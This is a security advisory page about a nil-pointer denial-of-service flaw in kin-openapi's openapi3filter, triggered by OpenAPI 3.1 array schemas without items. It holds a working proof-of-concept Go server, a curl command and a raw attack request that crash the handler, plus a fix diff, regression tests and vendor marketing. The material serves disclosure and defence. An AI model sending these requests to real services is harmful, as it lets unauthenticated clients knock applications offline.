CVE-2026-97394

CVE-2026-97394 is a high-severity null pointer dereference vulnerability in github.com/getkin/kin-openapi (go), affecting versions >= 0.136.0, < 0.143.0. It is fixed in 0.143.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items

A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.

Details

Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().

Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):

case propType.Is("array"):
    items := propSchema.Value.Items.Value  // Items == nil → panic

This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).

The same nil Items also crashes:

Path Location Trigger
MultipartBodyDecoder req_resp_decoder.go ~1564 → 1579 multipart/form-data part named like the array property
parseArray → parsePrimitive req_resp_decoder.go ~1129 / 1151 Array-typed response headers via ValidateResponse, and path/cookie array params

Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.

Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:

 case propType.Is("array"):
+	if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+		return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+	}
 	items := propSchema.Value.Items.Value

Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.

PoC

Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.

1. Spec, OpenAPI 3.1 operation with urlencoded body and type: array property without items:

openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}

2. E2E program, net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:

package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		log.Fatal(err)
	}
	if err := doc.Validate(loader.Context); err != nil {
		log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
	}
	fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
		Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)

	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		log.Fatal(err)
	}

	// Direct call (no net/http recover): proves the library itself panics.
	req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pp, _ := router.FindRoute(req)
	func() {
		defer func() {
			if r := recover(); r != nil {
				fmt.Printf("DIRECT_PANIC: %v\n", r)
			}
		}()
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pp, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		fmt.Println("DIRECT_PANIC: none (unexpected)")
	}()

	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte("ok\n"))
	})

	addr := "127.0.0.1:8085"
	fmt.Printf("listening on http://%s/f\n", addr)
	fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
	log.Fatal(http.ListenAndServe(addr, mux))
}

3. Observed output (go run .):

SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f

Then:

curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f

Server log:

http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …

Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.

Attack request:

POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded

tags=a

(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)

4. Regression / multi-surface test suite, save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:

package openapi3filter_test

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
  /f:
    post:
      requestBody:
        required: true
        content:
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                tags: {type: array}
      responses:
        '200': {description: ok}
`

const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
  /hdr:
    get:
      responses:
        '200':
          description: ok
          headers:
            X-Tags:
              schema: {type: array}
`

func catchPanic(fn func()) (panicValue any) {
	defer func() { panicValue = recover() }()
	fn()
	return nil
}

func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
		Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
	require.True(t, schema.Type.Is("array"))
	require.Nil(t, schema.Items)
}

func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
	require.NoError(t, err)
	require.Error(t, doc.Validate(loader.Context))
}

func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
	require.NoError(t, err)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(multipartSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	require.NoError(t, w.WriteField("tags", "a"))
	require.NoError(t, w.Close())

	req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
	require.NoError(t, err)
	req.Header.Set("Content-Type", w.FormDataContentType())
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
	require.NoError(t, err)
	route, pathParams, err := router.FindRoute(req)
	require.NoError(t, err)

	got := catchPanic(func() {
		_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
			RequestValidationInput: &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			},
			Status: http.StatusOK,
			Header: http.Header{"X-Tags": []string{"a,b"}},
			Body:   io.NopCloser(strings.NewReader("")),
		})
	})
	require.NotNil(t, got)
	require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}

func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	var panicCount int
	mux := http.NewServeMux()
	mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
		defer func() {
			if recover() != nil {
				panicCount++
				http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
			}
		}()
		route, pathParams, err := router.FindRoute(r)
		require.NoError(t, err)
		err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request: r, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
		if err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(mux)
	t.Cleanup(srv.Close)

	const n = 5
	for i := 0; i < n; i++ {
		resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
		require.NoError(t, err)
		_, _ = io.ReadAll(resp.Body)
		_ = resp.Body.Close()
		require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
	}
	require.Equal(t, n, panicCount)
}

func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(loader.Context))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	const attempts = 50
	panics := 0
	for i := 0; i < attempts; i++ {
		req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
		require.NoError(t, err)
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		route, pathParams, err := router.FindRoute(req)
		require.NoError(t, err)
		if catchPanic(func() {
			_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			})
		}) != nil {
			panics++
		}
	}
	require.Equal(t, attempts, panics)
}

Observed results on the vulnerable tree:

  • 3.1 accepts the schema (Items == nil); 3.0 rejects it
  • urlencoded, multipart, and response-header paths all panic with nil pointer dereference
  • 50/50 panic rate (100% deterministic)
  • E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500

Impact

  • Type: NULL Pointer Dereference → unauthenticated remote denial of service.
  • Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded, doc.Validate() does not reject them under 3.1.
  • Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
  • Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash.
  • Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).

The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.

CVE-2026-97394 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.143.0); upgrading removes the vulnerable code path.

Affected versions

github.com/getkin/kin-openapi (>= 0.136.0, < 0.143.0)

Security releases

github.com/getkin/kin-openapi → 0.143.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/getkin/kin-openapi to 0.143.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-97394? CVE-2026-97394 is a high-severity null pointer dereference vulnerability in github.com/getkin/kin-openapi (go), affecting versions >= 0.136.0, < 0.143.0. It is fixed in 0.143.0. The application dereferences a null pointer, causing a crash.
  2. How severe is CVE-2026-97394? CVE-2026-97394 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/getkin/kin-openapi are affected by CVE-2026-97394? github.com/getkin/kin-openapi (go) versions >= 0.136.0, < 0.143.0 is affected.
  4. Is there a fix for CVE-2026-97394? Yes. CVE-2026-97394 is fixed in 0.143.0. Upgrade to this version or later.
  5. Is CVE-2026-97394 exploitable, and should I be worried? Whether CVE-2026-97394 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-97394 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-97394? Upgrade github.com/getkin/kin-openapi to 0.143.0 or later.

Other vulnerabilities in github.com/getkin/kin-openapi

Stop the waste.
Protect your environment with Kodem.